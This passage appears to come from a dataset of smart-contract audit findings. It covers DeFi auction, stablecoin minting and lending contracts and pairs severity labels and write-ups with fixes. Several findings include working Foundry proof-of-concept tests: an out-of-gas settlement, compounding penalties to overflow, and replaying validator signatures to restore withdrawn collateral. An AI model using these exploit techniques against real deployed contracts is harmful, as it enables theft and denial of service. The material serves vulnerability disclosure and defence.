protocolFee_ // Add the line below\\n referrerFee_,\\n// Add the line below\\n feeDecimals\\n// Add the line below\\n )\\n// Add the line below\\n );\\n// Add the line below\\n }\\n// Add the line below\\n }\\n// Add the line below\\n\\n// Add the line below\\n\\n // ===== Helper Functions ===== //\\n \\n function _mulDivUp(uint96 mul1_, uint96 mul2_, uint96 div_) internal pure returns (uint96) {\\n```\\n
Use `bidAmount - pfRefund` as the quote token input amount value instead of computing the current way
Rewards might not be collectible or seller might not be able to claim the proceeds due to lack of tokens
```\\n function claimBids(uint96 lotId_, uint64[] calldata bidIds_) external override nonReentrant {\\n \\n // rest of code.\\n\\n for (uint256 i = 0; i < bidClaimsLen; i++) {\\n Auction.BidClaim memory bidClaim = bidClaims[i];\\n\\n if (bidClaim.payout > 0) {\\n \\n=> _allocateQuoteFees(\\n protocolFee,\\n referrerFee,\\n bidClaim.referrer,\\n routing.seller,\\n routing.quoteToken,\\n=> bidClaim.paid\\n );\\n```\\n
Settlement of batch auction can exceed the gas limit
medium
Settlement of batch auction can exceed the gas limit, making it impossible to settle the auction.\\nWhen a batch auction (EMPAM) is settled, to calculate the lot marginal price, the contract iterates over all bids until the capacity is reached or a bid below the minimum price is found.\\nAs some of the operations performed in the loop are gas-intensive, the contract may run out of gas if the number of bids is too high.\\nNote that additionally, there is another loop in the `_settle` function that iterates over all the remaining bids to delete them from the queue. While this loop consumes much less gas per iteration and would require the number of bids to be much higher to run out of gas, it adds to the problem.\\nChange the minimum bid percent to 0.1% in the `EmpaModuleTest` contract in `EMPAModuleTest.sol`.\\n```\\n// Remove the line below\\n uint24 internal constant _MIN_BID_PERCENT = 1000; // 1%\\n// Add the line below\\n uint24 internal constant _MIN_BID_PERCENT = 100; // 0.1%\\n```\\n\\nAdd the following code to the contract `EmpaModuleSettleTest` in `settle.t.sol` and run `forge test --mt test_settleOog`.\\n```\\nmodifier givenBidsCreated() {\\n uint96 amountOut = 0.01e18;\\n uint96 amountIn = 0.01e18;\\n uint256 numBids = 580;\\n\\n for (uint256 i = 0; i < numBids; i++) {\\n _createBid(_BIDDER, amountIn, amountOut);\\n }\\n \\n _;\\n}\\n\\nfunction test_settleOog() external\\n givenLotIsCreated\\n givenLotHasStarted\\n givenBidsCreated\\n givenLotHasConcluded\\n givenPrivateKeyIsSubmitted\\n givenLotIsDecrypted\\n{ \\n uint256 gasBefore = gasleft();\\n _settle();\\n\\n assert(gasBefore - gasleft() > 30_000_000);\\n}\\n```\\n
An easy way to tackle the issue would be to change the `_MIN_BID_PERCENT` value from 10 (0.01%) to 1000 (1%) in the `EMPAM.sol` contract, which would limit the number of iterations to 100.\\nA more appropriate solution, if it is not acceptable to increase the min bid percent, would be to change the settlement logic so that can be handled in batches of bids to avoid running out of gas.\\nIn both cases, it would also be recommended to limit the number of decrypted bids that can be deleted from the queue in a single transaction.
Settlement of batch auction will revert, causing sellers and bidders to lose their funds.
```\\n// Remove the line below\\n uint24 internal constant _MIN_BID_PERCENT = 1000; // 1%\\n// Add the line below\\n uint24 internal constant _MIN_BID_PERCENT = 100; // 0.1%\\n```\\n
An earner can still continue earning even after being removed from the approved list.
medium
An earner can still continue earning even after being removed from the approved list.\\nA `M` holder is eligible to earn the `Earner Rate` when they are approved by TTG. The approved `M` holder can call `startEarning()` then begin to earn the `Earner Rate`. They also can `stopEarning()` to quit earning.\\nHowever, when an approved `M` holder is disapproved, only the disapproved holder themselves can choose to stop earning; no one else has the authority to force them to quit earning.\\n`Earner Rate` is calculated in `StableEarnerRateModel#rate()` as below:\\n```\\n function rate() external view returns (uint256) {\\n uint256 safeEarnerRate_ = getSafeEarnerRate(\\n IMinterGateway(minterGateway).totalActiveOwedM(),\\n IMToken(mToken).totalEarningSupply(),\\n IMinterGateway(minterGateway).minterRate()\\n );\\n\\n return UIntMath.min256(maxRate(), (RATE_MULTIPLIER * safeEarnerRate_) / ONE);\\n }\\n\\n function getSafeEarnerRate(\\n uint240 totalActiveOwedM_,\\n uint240 totalEarningSupply_,\\n uint32 minterRate_\\n ) public pure returns (uint32) {\\n // solhint-disable max-line-length\\n // When `totalActiveOwedM_ >= totalEarningSupply_`, it is possible for the earner rate to be higher than the\\n // minter rate and still ensure cashflow safety over some period of time (`RATE_CONFIDENCE_INTERVAL`). To ensure\\n // cashflow safety, we start with `cashFlowOfActiveOwedM >= cashFlowOfEarningSupply` over some time `dt`.\\n // Effectively: p1 * (exp(rate1 * dt) - 1) >= p2 * (exp(rate2 * dt) - 1)\\n // So: rate2 <= ln(1 + (p1 * (exp(rate1 * dt) - 1)) / p2) / dt\\n // 1. totalActive * (delta_minterIndex - 1) >= totalEarning * (delta_earnerIndex - 1)\\n // 2. totalActive * (delta_minterIndex - 1) / totalEarning >= delta_earnerIndex - 1\\n // 3. 1 + (totalActive * (delta_minterIndex - 1) / totalEarning) >= delta_earnerIndex\\n // Substitute `delta_earnerIndex` with `exponent((earnerRate * dt) / SECONDS_PER_YEAR)`:\\n // 4. 1 + (totalActive * (delta_minterIndex - 1) / totalEarning) >= exponent((earnerRate * dt) / SECONDS_PER_YEAR)\\n // 5. ln(1 + (totalActive * (delta_minterIndex - 1) / totalEarning)) >= (earnerRate * dt) / SECONDS_PER_YEAR\\n // 6. ln(1 + (totalActive * (delta_minterIndex - 1) / totalEarning)) * SECONDS_PER_YEAR / dt >= earnerRate\\n\\n // When `totalActiveOwedM_ < totalEarningSupply_`, the instantaneous earner cash flow must be less than the\\n // instantaneous minter cash flow. To ensure instantaneous cashflow safety, we we use the derivatives of the\\n // previous starting inequality, and substitute `dt = 0`.\\n // Effectively: p1 * rate1 >= p2 * rate2\\n // So: rate2 <= p1 * rate1 / p2\\n // 1. totalActive * minterRate >= totalEarning * earnerRate\\n // 2. totalActive * minterRate / totalEarning >= earnerRate\\n // solhint-enable max-line-length\\n\\n if (totalActiveOwedM_ == 0) return 0;\\n\\n if (totalEarningSupply_ == 0) return type(uint32).max;\\n\\n if (totalActiveOwedM_ <= totalEarningSupply_) {//@audit-info rate is slashed\\n // NOTE: `totalActiveOwedM_ * minterRate_` can revert due to overflow, so in some distant future, a new\\n // rate model contract may be needed that handles this differently.\\n return uint32((uint256(totalActiveOwedM_) * minterRate_) / totalEarningSupply_);\\n }\\n\\n uint48 deltaMinterIndex_ = ContinuousIndexingMath.getContinuousIndex(\\n ContinuousIndexingMath.convertFromBasisPoints(minterRate_),\\n RATE_CONFIDENCE_INTERVAL\\n );//@audit-info deltaMinterIndex for 30 days\\n\\n // NOTE: `totalActiveOwedM_ * deltaMinterIndex_` can revert due to overflow, so in some distant future, a new\\n // rate model contract may be needed that handles this differently.\\n int256 lnArg_ = int256(\\n _EXP_SCALED_ONE +\\n ((uint256(totalActiveOwedM_) * (deltaMinterIndex_ - _EXP_SCALED_ONE)) / totalEarningSupply_)\\n );\\n\\n int256 lnResult_ = wadLn(lnArg_ * _WAD_TO_EXP_SCALER) / _WAD_TO_EXP_SCALER;\\n\\n uint256 expRate_ = (uint256(lnResult_) * ContinuousIndexingMath.SECONDS_PER_YEAR) / RATE_CONFIDENCE_INTERVAL;\\n\\n if (expRate_ > type(uint64).max) return type(uint32).max;\\n\\n // NOTE: Do not need to do `UIntMath.safe256` because it is known that `lnResult_` will not be negative.\\n uint40 safeRate_ = ContinuousIndexingMath.convertToBasisPoints(uint64(expRate_));\\n\\n return (safeRate_ > type(uint32).max) ? type(uint32).max : uint32(safeRate_);\\n }\\n```\\n\\nAs we can see, the rate may vary due to the changes in `MToken#totalEarningSupply()`, therefore the earning of fixed principal amount could be decreased if `totalEarningSupply()` increases. In some other cases the total earning rewards increases significantly if `totalEarningSupply()` increases, resulting in less `excessOwedM` sending to `ttgVault` when `MinterGateway#updateIndex()` is called.\\nCopy below codes to Integration.t.sol and run `forge test --match-test test_aliceStillEarnAfterDisapproved`\\n```\\n function test_AliceStillEarnAfterDisapproved() external {\\n\\n _registrar.updateConfig(MAX_EARNER_RATE, 40000);\\n _minterGateway.activateMinter(_minters[0]);\\n\\n uint256 collateral = 1_000_000e6;\\n _updateCollateral(_minters[0], collateral);\\n\\n _mintM(_minters[0], 400e6, _bob);\\n _mintM(_minters[0], 400e6, _alice);\\n uint aliceInitialBalance = _mToken.balanceOf(_alice);\\n uint bobInitialBalance = _mToken.balanceOf(_bob);\\n //@audit-info alice and bob had the same M balance\\n assertEq(aliceInitialBalance, bobInitialBalance);\\n //@audit-info alice and bob started earning\\n vm.prank(_alice);\\n _mToken.startEarning();\\n vm.prank(_bob);\\n _mToken.startEarning();\\n\\n vm.warp(block.timestamp + 1 days);\\n uint aliceEarningDay1 = _mToken.balanceOf(_alice) - aliceInitialBalance;\\n uint bobEarningDay1 = _mToken.balanceOf(_bob) - bobInitialBalance;\\n //@audit-info Alice and Bob have earned the same M in day 1\\n assertNotEq(aliceEarningDay1, 0);\\n assertEq(aliceEarningDay1, bobEarningDay1);\\n //@audit-info Alice was removed from earner list\\n _registrar.removeFromList(TTGRegistrarReader.EARNERS_LIST, _alice);\\n vm.warp(block.timestamp + 1 days);\\n uint aliceEarningDay2 = _mToken.balanceOf(_alice) - aliceInitialBalance - aliceEarningDay1;\\n uint bobEarningDay2 = _mToken.balanceOf(_bob) - bobInitialBalance - bobEarningDay1;\\n //@audit-info Alice still earned M in day 2 even she was removed from earner list, the amount of which is same as Bob's earning\\n assertNotEq(aliceEarningDay2, 0);\\n assertEq(aliceEarningDay2, bobEarningDay2);\\n\\n uint earnerRateBefore = _mToken.earnerRate();\\n //@audit-info Only Alice can stop herself from earning\\n vm.prank(_alice);\\n _mToken.stopEarning();\\n uint earnerRateAfter = _mToken.earnerRate();\\n //@audit-info The earning rate was almost doubled after Alice called `stopEarning`\\n assertApproxEqRel(earnerRateBefore*2, earnerRateAfter, 0.01e18);\\n vm.warp(block.timestamp + 1 days);\\n uint aliceEarningDay3 = _mToken.balanceOf(_alice) - aliceInitialBalance - aliceEarningDay1 - aliceEarningDay2;\\n uint bobEarningDay3 = _mToken.balanceOf(_bob) - bobInitialBalance - bobEarningDay1 - bobEarningDay2;\\n //@audit-info Alice earned nothing \\n assertEq(aliceEarningDay3, 0);\\n //@audit-info Bob's earnings on day 3 were almost twice as much as what he earned on day 2.\\n assertApproxEqRel(bobEarningDay2*2, bobEarningDay3, 0.01e18);\\n }\\n```\\n
Introduce a method that allows anyone to stop the disapproved earner from earning:\\n```\\n function stopEarning(address account_) external {\\n if (_isApprovedEarner(account_)) revert IsApprovedEarner();\\n _stopEarning(account_);\\n }\\n```\\n
The earnings of eligible users could potentially be diluted.\\nThe `excessOwedM` to ZERO vault holders could be diluted
```\\n function rate() external view returns (uint256) {\\n uint256 safeEarnerRate_ = getSafeEarnerRate(\\n IMinterGateway(minterGateway).totalActiveOwedM(),\\n IMToken(mToken).totalEarningSupply(),\\n IMinterGateway(minterGateway).minterRate()\\n );\\n\\n return UIntMath.min256(maxRate(), (RATE_MULTIPLIER * safeEarnerRate_) / ONE);\\n }\\n\\n function getSafeEarnerRate(\\n uint240 totalActiveOwedM_,\\n uint240 totalEarningSupply_,\\n uint32 minterRate_\\n ) public pure returns (uint32) {\\n // solhint-disable max-line-length\\n // When `totalActiveOwedM_ >= totalEarningSupply_`, it is possible for the earner rate to be higher than the\\n // minter rate and still ensure cashflow safety over some period of time (`RATE_CONFIDENCE_INTERVAL`). To ensure\\n // cashflow safety, we start with `cashFlowOfActiveOwedM >= cashFlowOfEarningSupply` over some time `dt`.\\n // Effectively: p1 * (exp(rate1 * dt) - 1) >= p2 * (exp(rate2 * dt) - 1)\\n // So: rate2 <= ln(1 + (p1 * (exp(rate1 * dt) - 1)) / p2) / dt\\n // 1. totalActive * (delta_minterIndex - 1) >= totalEarning * (delta_earnerIndex - 1)\\n // 2. totalActive * (delta_minterIndex - 1) / totalEarning >= delta_earnerIndex - 1\\n // 3. 1 + (totalActive * (delta_minterIndex - 1) / totalEarning) >= delta_earnerIndex\\n // Substitute `delta_earnerIndex` with `exponent((earnerRate * dt) / SECONDS_PER_YEAR)`:\\n // 4. 1 + (totalActive * (delta_minterIndex - 1) / totalEarning) >= exponent((earnerRate * dt) / SECONDS_PER_YEAR)\\n // 5. ln(1 + (totalActive * (delta_minterIndex - 1) / totalEarning)) >= (earnerRate * dt) / SECONDS_PER_YEAR\\n // 6. ln(1 + (totalActive * (delta_minterIndex - 1) / totalEarning)) * SECONDS_PER_YEAR / dt >= earnerRate\\n\\n // When `totalActiveOwedM_ < totalEarningSupply_`, the instantaneous earner cash flow must be less than the\\n // instantaneous minter cash flow. To ensure instantaneous cashflow safety, we we use the derivatives of the\\n // previous starting inequality, and substitute `dt = 0`.\\n // Effectively: p1 * rate1 >= p2 * rate2\\n // So: rate2 <= p1 * rate1 / p2\\n // 1. totalActive * minterRate >= totalEarning * earnerRate\\n // 2. totalActive * minterRate / totalEarning >= earnerRate\\n // solhint-enable max-line-length\\n\\n if (totalActiveOwedM_ == 0) return 0;\\n\\n if (totalEarningSupply_ == 0) return type(uint32).max;\\n\\n if (totalActiveOwedM_ <= totalEarningSupply_) {//@audit-info rate is slashed\\n // NOTE: `totalActiveOwedM_ * minterRate_` can revert due to overflow, so in some distant future, a new\\n // rate model contract may be needed that handles this differently.\\n return uint32((uint256(totalActiveOwedM_) * minterRate_) / totalEarningSupply_);\\n }\\n\\n uint48 deltaMinterIndex_ = ContinuousIndexingMath.getContinuousIndex(\\n ContinuousIndexingMath.convertFromBasisPoints(minterRate_),\\n RATE_CONFIDENCE_INTERVAL\\n );//@audit-info deltaMinterIndex for 30 days\\n\\n // NOTE: `totalActiveOwedM_ * deltaMinterIndex_` can revert due to overflow, so in some distant future, a new\\n // rate model contract may be needed that handles this differently.\\n int256 lnArg_ = int256(\\n _EXP_SCALED_ONE +\\n ((uint256(totalActiveOwedM_) * (deltaMinterIndex_ - _EXP_SCALED_ONE)) / totalEarningSupply_)\\n );\\n\\n int256 lnResult_ = wadLn(lnArg_ * _WAD_TO_EXP_SCALER) / _WAD_TO_EXP_SCALER;\\n\\n uint256 expRate_ = (uint256(lnResult_) * ContinuousIndexingMath.SECONDS_PER_YEAR) / RATE_CONFIDENCE_INTERVAL;\\n\\n if (expRate_ > type(uint64).max) return type(uint32).max;\\n\\n // NOTE: Do not need to do `UIntMath.safe256` because it is known that `lnResult_` will not be negative.\\n uint40 safeRate_ = ContinuousIndexingMath.convertToBasisPoints(uint64(expRate_));\\n\\n return (safeRate_ > type(uint32).max) ? type(uint32).max : uint32(safeRate_);\\n }\\n```\\n
Malicious minters can repeatedly penalize their undercollateralized accounts in a short peroid of time, which can result in disfunctioning of critical protocol functions, such as `mintM`.
medium
Malicious minters can exploit the `updateCollateral()` function to repeatedly penalize their undercollateralized accounts in a short peroid of time. This can make the `principalOfTotalActiveOwedM` to reach `uint112.max` limit, disfunctioning some critical functions, such as `mintM`.\\nThe `updateCollateral()` function allows minters to update their collateral status to the protocol, with penalties imposed in two scenarios:\\nA penalty is imposed for each missing collateral update interval.\\nA penalty is imposed if a minter is undercollateralized.\\nThe critical issue arises with the penalty for being undercollateralized, which is imposed on each call to `updateCollateral()`. This penalty is compounded, calculated as `penaltyRate * (principalOfActiveOwedM_ - principalOfMaxAllowedActiveOwedM_)`, and the `principalOfActiveOwedM_` increases with each imposed penalty.\\nProof Of Concept\\nWe can do a simple calculation, using the numbers from unit tests, mintRatio=90%, penaltyRate=1%, updateCollateralInterval=2000 (seconds). A malicious minter deposits `$100,000` t-bills as collateral, and mints `$90,000` M tokens. Since M tokens have 6 decimals, the collateral would be `100000e6`. Following the steps below, the malicious minter would be able to increase `principalOfActiveOwedM_` close to uint112.max limit:\\nDeposit collateral and mint M tokens.\\nWait for 4 collateral update intervals. This is for accumulating some initial penalty to get undercollateralized.\\nCall `updateCollateral()`. The penalty for missing updates would be `4 * 90000e6 * 1% = 36e8`.\\nStarting from `36e8`, we can keep calling `updateCollateral()` to compound penalty for undercollateralization. Each time would increase the penalty by 1%. We only need `log(2^112 / `36e8`, 1.01) ~ 5590` times to hit `uint112.max` limit.\\nAdd the following testing code to `MinterGateway.t.sol`. We can see in logs that `principalOfTotalActiveOwedM` has hit uint112.max limit.\\n```\\n penalty: 1 94536959275 94536000000\\n penalty: 2 95482328867 95481360000\\n penalty: 3 96437152156 96436173600\\n penalty: 4 97401523678 97400535336\\n penalty: 5 98375538914 98374540689\\n penalty: 6 99359294302 99358286095\\n penalty: 7 100352887244 100351868955\\n penalty: 8 101356416116 101355387644\\n penalty: 9 102369980277 102368941520\\n penalty: 10 103393680080 103392630935\\n // rest of code\\n penalty: 5990 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5991 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5992 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5993 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5994 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5995 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5996 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5997 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5998 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5999 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 6000 5192349545726433803396851311815959 5192296858534827628530496329220095\\n```\\n\\n```\\n // Using default test settings: mintRatio = 90%, penaltyRate = 1%, updateCollateralInterval = 2000.\\n function test_penaltyForUndercollateralization() external {\\n // 1. Minter1 deposits $100,000 t-bills, and mints 90,000 $M Tokens.\\n uint initialTimestamp = block.timestamp;\\n _minterGateway.setCollateralOf(_minter1, 100000e6);\\n _minterGateway.setUpdateTimestampOf(_minter1, initialTimestamp);\\n _minterGateway.setRawOwedMOf(_minter1, 90000e6);\\n _minterGateway.setPrincipalOfTotalActiveOwedM(90000e6);\\n\\n // 2. Minter does not update for 4 updateCollateralIntervals, causing penalty for missing updates.\\n vm.warp(initialTimestamp + 4 * _updateCollateralInterval);\\n\\n // 3. Minter fetches a lot of signatures from validator, each with different timestamp and calls `updateCollateral()` many times.\\n // Since the penalty for uncollateralization is counted every time, and would hit `uint112.max` at last.\\n uint256[] memory retrievalIds = new uint256[](0);\\n address[] memory validators = new address[](1);\\n validators[0] = _validator1;\\n\\n for (uint i = 1; i <= 6000; ++i) {\\n\\n uint256[] memory timestamps = new uint256[](1);\\n uint256 signatureTimestamp = initialTimestamp + i;\\n timestamps[0] = signatureTimestamp;\\n bytes[] memory signatures = new bytes[](1);\\n signatures[0] = _getCollateralUpdateSignature(\\n address(_minterGateway),\\n _minter1,\\n 100000e6,\\n retrievalIds,\\n bytes32(0),\\n signatureTimestamp,\\n _validator1Pk\\n );\\n\\n vm.prank(_minter1);\\n _minterGateway.updateCollateral(100000e6, retrievalIds, bytes32(0), validators, timestamps, signatures);\\n\\n console.log("penalty:", i, _minterGateway.totalActiveOwedM(), _minterGateway.principalOfTotalActiveOwedM());\\n }\\n }\\n```\\n\\nNote that in real use case, the penalty rate may lower (e.g. 0.1%), however, `log(2^112 / 36e8, 1.001) ~ 55656` is still a reasonable amount since there are 1440 minutes in 1 day (not to mention if the frequency for signature may be higher than once per minute). A malicious minter can still gather enough signatures for the attack.
Consider only imposing penalty for undercollateralization for each update interval.
The direct impact is that `principalOfTotalActiveOwedM` will hit `uint112.max` limit. All related protocol features would be disfunctioned, the most important one being `mintM`, since the function would revert if `principalOfTotalActiveOwedM` hits `uint112.max` limit.\\n```\\n unchecked {\\n uint256 newPrincipalOfTotalActiveOwedM_ = uint256(principalOfTotalActiveOwedM_) + principalAmount_;\\n\\n // As an edge case precaution, prevent a mint that, if all owed M (active and inactive) was converted to\\n // a principal active amount, would overflow the `uint112 principalOfTotalActiveOwedM`.\\n> if (\\n> // NOTE: Round the principal up for worst case.\\n> newPrincipalOfTotalActiveOwedM_ + _getPrincipalAmountRoundedUp(totalInactiveOwedM) >= type(uint112).max\\n> ) {\\n> revert OverflowsPrincipalOfTotalOwedM();\\n> }\\n\\n principalOfTotalActiveOwedM = uint112(newPrincipalOfTotalActiveOwedM_);\\n _rawOwedM[msg.sender] += principalAmount_; // Treat rawOwedM as principal since minter is active.\\n }\\n```\\n
```\\n penalty: 1 94536959275 94536000000\\n penalty: 2 95482328867 95481360000\\n penalty: 3 96437152156 96436173600\\n penalty: 4 97401523678 97400535336\\n penalty: 5 98375538914 98374540689\\n penalty: 6 99359294302 99358286095\\n penalty: 7 100352887244 100351868955\\n penalty: 8 101356416116 101355387644\\n penalty: 9 102369980277 102368941520\\n penalty: 10 103393680080 103392630935\\n // rest of code\\n penalty: 5990 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5991 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5992 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5993 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5994 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5995 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5996 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5997 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5998 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 5999 5192349545726433803396851311815959 5192296858534827628530496329220095\\n penalty: 6000 5192349545726433803396851311815959 5192296858534827628530496329220095\\n```\\n
Validator threshold can be bypassed: a single compromised validator can update minter's state to historical state
medium
The `updateCollateralValidatorThreshold` specifies the minimum number of validators needed to confirm the validity of `updateCollateral` data. However, just one compromised validator is enough to alter a minter's collateral status. In particular, this vulnerability allows the compromised validator to set the minter's state back to a historical state, allowing malicious minters to increase their collateral.\\nThe `updateCollateral()` function calls the `_verifyValidatorSignatures()` function, which calculates the minimum timestamp signed by all validators. This timestamp is then used to update the minter state's `_minterStates[minter_].updateTimestamp`. The constraint during this process is that the `_minterStates[minter_].updateTimestamp` must always be increasing.\\nFunction updateCollateral():\\n```\\n minTimestamp_ = _verifyValidatorSignatures(\\n msg.sender,\\n collateral_,\\n retrievalIds_,\\n metadataHash_,\\n validators_,\\n timestamps_,\\n signatures_\\n );\\n // rest of code\\n _updateCollateral(msg.sender, safeCollateral_, minTimestamp_);\\n // rest of code\\n```\\n\\nFunction _updateCollateral():\\n```\\n function _updateCollateral(address minter_, uint240 amount_, uint40 newTimestamp_) internal {\\n uint40 lastUpdateTimestamp_ = _minterStates[minter_].updateTimestamp;\\n\\n // MinterGateway already has more recent collateral update\\n if (newTimestamp_ <= lastUpdateTimestamp_) revert StaleCollateralUpdate(newTimestamp_, lastUpdateTimestamp_);\\n\\n _minterStates[minter_].collateral = amount_;\\n _minterStates[minter_].updateTimestamp = newTimestamp_;\\n }\\n```\\n\\nIf we have 1 compromised validator, its signature can be manipulated to any chosen timestamp. Consequently, this allows for control over the timestamp in `_minterStates[minter_].updateTimestamp` making it possible to update the minter's state to a historical state. An example is given in the following proof of concept. The key here is that even though `updateCollateralValidatorThreshold` may be set to 2 or even 3, as long as 1 validator is compromised, the attack vector would work, thus defeating the purpose of having a validator threshold.\\nProof Of Concept\\nIn this unit test, `updateCollateralInterval` is set to 2000 (default value). The `updateCollateralValidatorThreshold` is set to 2, and the `_validator1` is compromised. Following the steps below, we show how we update minter to a historical state:\\nInitial timestamp is `T0`.\\n100 seconds passed, the current timestamp is `T0+100`. Deposit 100e6 collateral at `T0+100`. `_validator0` signs signature at `T0+100`, and `_validator1` signs signature at `T0+1`. After `updateCollateral()`, minter state collateral = 100e6, and updateTimestamp = `T0+1`.\\nAnother 100 seconds passed, the current timestamp is `T0+200`. Propose retrieval for all collateral, and perform the retrieval offchain. `_validator0` signs signature at `T0+200`, and `_validator1` signs signature at `T0+2`. After `updateCollateral()`, minter state collateral = 0, and updateTimestamp = `T0+2`.\\nAnother 100 seconds passed, the current timestamp is `T0+300`. Reuse `_validator0` signature from step 1, it is signed on timestamp `T0+100`. `_validator1` signs collateral=100e6 at `T0+3`. After `updateCollateral()`, minter state collateral = 100e6, and updateTimestamp = `T0+3`.\\nNow, the minter is free to perform minting actions since his state claims collateral is 100e6, even though he has already retrieved it back in step 2. The mint proposal may even be proposed between step 1 and step 2 to reduce the mintDelay the minter has to wait.\\nAdd the following testing code to `MinterGateway.t.sol`. See more description in code comments.\\n```\\n function test_collateralStatusTimeTravelBySingleHackedValidator() external {\\n _ttgRegistrar.updateConfig(TTGRegistrarReader.UPDATE_COLLATERAL_VALIDATOR_THRESHOLD, bytes32(uint256(2)));\\n\\n // Arrange validator addresses in increasing order.\\n address[] memory validators = new address[](2);\\n validators[0] = _validator2;\\n validators[1] = _validator1;\\n\\n uint initialTimestamp = block.timestamp;\\n bytes[] memory cacheSignatures = new bytes[](2);\\n // 1. Deposit 100e6 collateral, and set malicious validator timestamp to `initialTimestamp+1` during `updateCollateral()`.\\n {\\n vm.warp(block.timestamp + 100);\\n\\n uint256[] memory retrievalIds = new uint256[](0);\\n uint256[] memory timestamps = new uint256[](2);\\n timestamps[0] = block.timestamp;\\n timestamps[1] = initialTimestamp + 1;\\n\\n bytes[] memory signatures = new bytes[](2);\\n signatures[0] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), block.timestamp, _validator2Pk);\\n signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 1, _validator1Pk);\\n cacheSignatures = signatures;\\n\\n vm.prank(_minter1);\\n _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0), validators, timestamps, signatures);\\n\\n assertEq(_minterGateway.collateralOf(_minter1), 100e6);\\n assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 1);\\n }\\n\\n // 2. Retrieve all collateral, and set malicious validator timestamp to `initialTimestamp+2` during `updateCollateral()`.\\n {\\n vm.prank(_minter1);\\n uint256 retrievalId = _minterGateway.proposeRetrieval(100e6);\\n\\n vm.warp(block.timestamp + 100);\\n\\n uint256[] memory newRetrievalIds = new uint256[](1);\\n newRetrievalIds[0] = retrievalId;\\n\\n uint256[] memory timestamps = new uint256[](2);\\n timestamps[0] = block.timestamp;\\n timestamps[1] = initialTimestamp + 2;\\n\\n bytes[] memory signatures = new bytes[](2);\\n signatures[0] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 0, newRetrievalIds, bytes32(0), block.timestamp, _validator2Pk);\\n signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 0, newRetrievalIds, bytes32(0), initialTimestamp + 2, _validator1Pk);\\n\\n vm.prank(_minter1);\\n _minterGateway.updateCollateral(0, newRetrievalIds, bytes32(0), validators, timestamps, signatures);\\n\\n assertEq(_minterGateway.collateralOf(_minter1), 0);\\n assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 2);\\n }\\n\\n // 3. Reuse signature from step 1, and set malicious validator timestamp to `initialTimestamp+3` during `updateCollateral()`.\\n // We have successfully "travelled back in time", and minter1's collateral is back to 100e6.\\n {\\n vm.warp(block.timestamp + 100);\\n\\n uint256[] memory retrievalIds = new uint256[](0);\\n uint256[] memory timestamps = new uint256[](2);\\n timestamps[0] = block.timestamp - 200;\\n timestamps[1] = initialTimestamp + 3;\\n\\n bytes[] memory signatures = new bytes[](2);\\n signatures[0] = cacheSignatures[0];\\n signatures[1] = _getCollateralUpdateSignature(address(_minterGateway), _minter1, 100e6, retrievalIds, bytes32(0), initialTimestamp + 3, _validator1Pk);\\n\\n vm.prank(_minter1);\\n _minterGateway.updateCollateral(100e6, retrievalIds, bytes32(0), validators, timestamps, signatures);\\n\\n assertEq(_minterGateway.collateralOf(_minter1), 100e6);\\n assertEq(_minterGateway.collateralUpdateTimestampOf(_minter1), initialTimestamp + 3);\\n }\\n }\\n```\\n
Use the maximum timestamp of all validators instead of minimum, or take the threshold-last minimum instead of the most minimum.
As shown in the proof of concept, the minter can use the extra collateral to mint M tokens for free.\\nOne may claim that during minting, the `collateralOf()` function checks for `block.timestamp < collateralExpiryTimestampOf(minter_)`, however, since during deployment `updateCollateralInterval` is set to 86400, that gives us enough time to perform the attack vector before "fake" collateral expires.
```\\n minTimestamp_ = _verifyValidatorSignatures(\\n msg.sender,\\n collateral_,\\n retrievalIds_,\\n metadataHash_,\\n validators_,\\n timestamps_,\\n signatures_\\n );\\n // rest of code\\n _updateCollateral(msg.sender, safeCollateral_, minTimestamp_);\\n // rest of code\\n```\\n
Liquidation bonus scales exponentially instead of linearly.
medium
Liquidation bonus scales exponentially instead of linearly.\\nLet's look at the code of `getLiquidationBonus`\\n```\\n function getLiquidationBonus(\\n address token,\\n uint256 borrowedAmount,\\n uint256 times\\n ) public view returns (uint256 liquidationBonus) {\\n // Retrieve liquidation bonus for the given token\\n Liquidation memory liq = liquidationBonusForToken[token];\\n unchecked {\\n if (liq.bonusBP == 0) {\\n // If there is no specific bonus for the token\\n // Use default bonus\\n liq.minBonusAmount = Constants.MINIMUM_AMOUNT;\\n liq.bonusBP = dafaultLiquidationBonusBP;\\n }\\n liquidationBonus = (borrowedAmount * liq.bonusBP) / Constants.BP;\\n\\n if (liquidationBonus < liq.minBonusAmount) {\\n liquidationBonus = liq.minBonusAmount;\\n }\\n liquidationBonus *= (times > 0 ? times : 1);\\n }\\n }\\n```\\n\\nAs we can see, the liquidation bonus is based on the entire `borrowAmount` and multiplied by the number of new loans added. The problem is that it is unfair when the user makes a borrow against multiple lenders.\\nIf a user takes a borrow for X against 1 lender, they'll have to pay a liquidation bonus of Y. However, if they take a borrow for 3X against 3 lenders, they'll have to pay 9Y, meaning that taking a borrow against N lenders leads to overpaying liquidation bonus by N 